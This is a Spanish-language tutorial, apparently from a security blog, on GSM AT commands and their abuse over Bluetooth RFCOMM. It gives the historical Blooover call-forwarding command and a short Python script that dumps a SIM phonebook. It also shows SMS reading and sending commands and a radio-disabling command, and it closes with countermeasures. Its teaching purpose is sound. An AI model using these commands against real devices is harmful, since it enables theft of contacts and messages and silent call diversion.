Introducción a los comandos AT
Los comandos AT (abreviatura de ATtention) constituyen un lenguaje estándar de comunicación entre un operador humano (o software) y un módem o dispositivo de telecomunicaciones. Fueron desarrollados originalmente en 1977 por Dennis Hayes como interfaz para configurar módems telefónicos: marcar números, colgar llamadas, ajustar parámetros de conexión, etc.
Con el tiempo, compañías como Microcom y US Robotics ampliaron el juego de instrucciones hasta convertirlo en un estándar de facto. Cuando la telefonía móvil GSM necesitó un protocolo de control para sus terminales, adoptó los comandos AT como base. Así, todo teléfono GSM expone un conjunto de comandos AT que permite realizar llamadas, gestionar la agenda de contactos, enviar SMS, consultar el estado de la batería y mucho más.
Lo interesante desde el punto de vista de la ciberseguridad es que estos comandos funcionan independientemente del canal físico: cable serie, infrarrojos, USB o Bluetooth. Esto significa que un atacante con acceso al perfil serie de un dispositivo Bluetooth (RFCOMM) puede ejecutar comandos AT de forma remota, lo que abre la puerta a ataques como el robo de agenda, desvío de llamadas o envío de SMS sin conocimiento del usuario.
Sintaxis y notación
Todo comando AT sigue una estructura sencilla:
# Petición (del operador al dispositivo)
AT+COMANDO=parámetros<CR>
# Respuesta correcta
<CR><LF>+COMANDO: resultado<CR><LF>OK<CR><LF>
# Respuesta de error
<CR><LF>ERROR<CR><LF>Donde <CR> es Carriage Return (retorno de carro) y <LF> es Line Feed (salto de línea). El prefijo AT indica al dispositivo que lo que sigue es un comando. Algunos comandos admiten variantes:
AT+CMD?— consulta el valor actualAT+CMD=?— consulta los valores soportadosAT+CMD=valor— establece un valor
Comandos de llamada
El comando fundamental para realizar llamadas es ATD (Dial Command):
# Llamada de datos
ATD+34612345678
# Llamada de voz (nótese el punto y coma final)
ATD+34612345678;
# Llamar a un contacto almacenado en la agenda
ATD>"NombreContacto";El punto y coma (;) al final es obligatorio para llamadas de voz. Sin él, el dispositivo intentará una llamada de datos.
Comandos de operador y desvío de llamadas
Uno de los comandos más relevantes en seguridad es AT+CCFC (Call Forwarding Control), que permite redirigir llamadas entrantes a otro número:
AT+CCFC=<razón>,<modo>,<número>,<tipo>,<clase>
# Parámetro <razón>:
# 0 = incondicional
# 1 = si ocupado
# 2 = si no responde
# 3 = si inalcanzable
# Parámetro <modo>:
# 0 = deshabilitado
# 1 = habilitado
# 3 = registrar desvío
# 4 = borrar desvío
# Parámetro <tipo>:
# 145 = formato internacional (+)
# 129 = formato nacional
# Parámetro <clase>:
# 1 = voz, 2 = datos, 4 = fax, 7 = todasPor ejemplo, el famoso ataque Blooover (una de las primeras herramientas de ataque Bluetooth) utilizaba el siguiente comando para registrar un desvío incondicional de todas las llamadas:
AT+CCFC=0,3,"+4913377001",145,7Esto registraba un desvío incondicional (0), en modo registro (3), hacia el número +4913377001, en formato internacional (145), para cualquier tipo de llamada (7). La víctima no recibía ninguna notificación.
Comandos de control del terminal
Estos comandos permiten obtener información detallada del dispositivo:
# Estado de actividad del teléfono
AT+CPAS
# Respuesta: +CPAS: 0
# 0 = listo (inactivo)
# 3 = sonando (llamada entrante)
# 4 = llamada en curso
# Estado de la batería
AT+CBC
# Respuesta: +CBC: 0,56 (batería al 56%)
# Identificación del fabricante
AT+CGMI
# Respuesta: Nokia Mobile Phones
# Modelo del dispositivo
AT+CGMM
# Respuesta: Nokia 8310
# Número de serie (IMEI)
AT+CGSN
# Respuesta: 350123456789012
# Calidad de señal
AT+CSQ
# Respuesta: +CSQ: 13,99
# rssi 0 = -113 dBm, 31 = -51 dBm, 99 = desconocidoDesde la perspectiva de un pentester, AT+CGMI, AT+CGMM y AT+CGSN son especialmente útiles para la fase de reconocimiento, ya que permiten identificar marca, modelo e IMEI del dispositivo objetivo.
Gestión de la agenda de contactos
Los comandos de agenda (Phone Book) permiten leer, escribir y buscar entradas en las distintas memorias del dispositivo.
Seleccionar memoria de agenda
# Consultar memoria activa
AT+CPBS?
# Respuesta: +CPBS: "SM"
# Seleccionar memoria
AT+CPBS="SM" # Agenda SIM
AT+CPBS="TA" # Agenda del terminal
AT+CPBS="DC" # Llamadas realizadas
AT+CPBS="RC" # Llamadas recibidas
AT+CPBS="MC" # Llamadas perdidas
AT+CPBS="LD" # Últimos números marcados
AT+CPBS="EN" # Números de emergencia
AT+CPBS="FD" # Marcación fija
AT+CPBS="ON" # Número propioLeer entradas de la agenda
# Consultar capacidad de la agenda
AT+CPBR=?
# Respuesta: +CPBR: (1-150),48,14
# 150 entradas, números de hasta 48 dígitos, nombres de hasta 14 caracteres
# Leer entrada por índice
AT+CPBR=8
# Respuesta: +CPBR: 8,"+34646123456",145,"Gospel"
# Leer rango de entradas
AT+CPBR=1,10Buscar y escribir contactos
# Buscar contacto por nombre (case-sensitive)
AT+CPBF="Gospel"
# Respuesta: +CPBF: 19,"+34646987654",129,"Gospel"
# Escribir nueva entrada (índice automático)
AT+CPBW=,"+34696224466",129,"NuevoContacto"
# Escribir en índice específico
AT+CPBW=5,"+34696224466",129,"NuevoContacto"
# Borrar entrada (solo índice, sin más parámetros)
AT+CPBW=5Combinación de comandos
Es posible encadenar comandos en una sola línea para operaciones más complejas:
# Seleccionar lista de llamadas realizadas y leer la última
AT+CPBS="DC";+CPBR=1
# Respuesta: +CPBR: 1,"+34646123456",145,"Gospel"
# Seleccionar llamadas perdidas y leer la última
AT+CPBS="MC";+CPBR=1
# Respuesta: +CPBR: 1,"+34646987654",129,"Desconocido"Volcado completo de la agenda (pseudocódigo)
Un atacante con acceso RFCOMM podría automatizar el volcado completo de la agenda con un script sencillo:
import serial
# Conexión al dispositivo vía puerto serie (o RFCOMM)
ser = serial.Serial('/dev/rfcomm0', 9600, timeout=2)
# Seleccionar agenda SIM
ser.write(b'AT+CPBS="SM"\r')
# Consultar tamaño
ser.write(b'AT+CPBR=?\r')
# Parsear respuesta para obtener el rango (1-150)
# Volcar todas las entradas
for i in range(1, 151):
ser.write(f'AT+CPBR={i}\r'.encode())
respuesta = ser.readline()
if b'+CPBR' in respuesta:
print(respuesta.decode())
ser.close()Comandos de SMS
Los comandos AT también permiten gestionar mensajes SMS. Los más importantes son:
# Configurar modo texto (más legible que modo PDU)
AT+CMGF=1
# Listar mensajes almacenados
AT+CMGL="ALL" # Todos
AT+CMGL="REC UNREAD" # Solo no leídos
# Leer un mensaje por índice
AT+CMGR=1
# Enviar un SMS
AT+CMGS="+34612345678"
> Texto del mensaje aquí<Ctrl+Z>
# Borrar un mensaje
AT+CMGD=1En modo PDU (AT+CMGF=0), los mensajes se codifican en formato hexadecimal, lo que permite manipular campos como el número de origen (sender spoofing) en ciertos dispositivos vulnerables.
Implicaciones de seguridad
Los comandos AT son una superficie de ataque real cuando se combinan con canales de comunicación inalámbricos. Los principales riesgos incluyen:
- Robo de agenda y SMS: mediante
AT+CPBRyAT+CMGL, un atacante puede extraer todos los contactos y mensajes del dispositivo - Desvío de llamadas silencioso: con
AT+CCFCse pueden redirigir llamadas sin que la víctima lo note - Envío de SMS: usando
AT+CMGSse pueden enviar mensajes desde el dispositivo de la víctima - Denegación de servicio: comandos como
AT+CFUN=0pueden apagar el módulo de radio del dispositivo - Fingerprinting:
AT+CGMI,AT+CGMMyAT+CGSNrevelan fabricante, modelo e IMEI
Ataques históricos como BlueBug, Blooover y BlueSnarf explotaban precisamente el acceso no autorizado al canal AT a través de Bluetooth para ejecutar estas acciones de forma remota.
Contramedidas
Para protegerse contra el abuso de comandos AT vía Bluetooth:
- Desactivar Bluetooth cuando no se esté usando
- Configurar el dispositivo como no descubrible
- No aceptar solicitudes de emparejamiento de dispositivos desconocidos
- Mantener el firmware del dispositivo actualizado
- En dispositivos Android/iOS modernos, el acceso a comandos AT vía Bluetooth está mucho más restringido, pero dispositivos IoT y módems GSM siguen expuestos
:wq!
Comentarios